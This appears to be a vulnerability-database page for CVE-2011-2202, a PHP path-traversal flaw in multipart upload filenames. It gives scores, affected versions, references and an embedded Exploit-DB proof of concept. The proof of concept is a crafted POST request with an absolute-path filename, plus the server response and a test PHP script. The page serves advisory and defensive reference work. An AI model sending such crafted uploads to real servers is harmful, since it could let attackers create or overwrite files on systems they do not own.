CVE-2011-2202 : Detail

CVE-2011-2202

A01-Broken Access Control
8.31%V3
Network
2011-06-16
21h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
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CVE Descriptions

The rfc1867_post_handler function in main/rfc1867.c in PHP before 5.3.7 does not properly restrict filenames in multipart/form-data POST requests, which allows remote attackers to conduct absolute path traversal attacks, and possibly create or overwrite arbitrary files, via a crafted upload request, related to a "file path injection vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.4 AV:N/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 35855

Publication date : 2011-06-13 22h00 +00:00
Author : Krzysztof Kotowicz
EDB Verified : Yes

source: https://www.securityfocus.com/bid/48259/info PHP is prone to a security-bypass vulnerability. Successful exploits will allow an attacker to create arbitrary files from the root directory, which may aid in further attacks. PHP 5.3.6 is vulnerable; other versions may also be affected. HTTP Request: ==== POST /file-upload-fuzz/recv_dump.php HTTP/1.0 host: blog.security.localhost content-type: multipart/form-data; boundary=----------ThIs_Is_tHe_bouNdaRY_$ content-length: 200 ------------ThIs_Is_tHe_bouNdaRY_$ Content-Disposition: form-data; name="contents"; filename="/anything.here.slash-will-pass"; Content-Type: text/plain any ------------ThIs_Is_tHe_bouNdaRY_$-- HTTP Response: ==== HTTP/1.1 200 OK Date: Fri, 27 May 2011 11:35:08 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.9 Content-Length: 30 Connection: close Content-Type: text/html /anything.here.slash-will-pass PHP script: ===== <?php if (!empty($_FILES['contents'])) { // process file upload echo $_FILES['contents']['name']; unlink($_FILES['contents']['tmp_name']); }

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.6

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

Php>>Php >> Version 4.0.7

Php>>Php >> Version 4.1.0

Php>>Php >> Version 4.1.1

Php>>Php >> Version 4.1.2

Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

Php>>Php >> Version 4.2.2

Php>>Php >> Version 4.2.3

Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

Php>>Php >> Version 4.4.0

Php>>Php >> Version 4.4.1

Php>>Php >> Version 4.4.2

Php>>Php >> Version 4.4.3

Php>>Php >> Version 4.4.4

Php>>Php >> Version 4.4.5

Php>>Php >> Version 4.4.6

Php>>Php >> Version 4.4.7

Php>>Php >> Version 4.4.8

Php>>Php >> Version 4.4.9

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

References

http://www.securityfocus.com/bid/48259
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT5130
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/49241
Tags : vdb-entry, x_refsource_BID
http://securitytracker.com/id?1025659
Tags : vdb-entry, x_refsource_SECTRACK
http://www.mandriva.com/security/advisories?name=MDVSA-2011:165
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/44874
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2011/dsa-2266
Tags : vendor-advisory, x_refsource_DEBIAN
http://openwall.com/lists/oss-security/2011/06/13/15
Tags : mailing-list, x_refsource_MLIST
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://bugs.php.net/bug.php?id=54939
Tags : x_refsource_CONFIRM
http://www.redhat.com/support/errata/RHSA-2011-1423.html
Tags : vendor-advisory, x_refsource_REDHAT
http://openwall.com/lists/oss-security/2011/06/12/5
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2012-0071.html
Tags : vendor-advisory, x_refsource_REDHAT
http://pastebin.com/1edSuSVN
Tags : x_refsource_MISC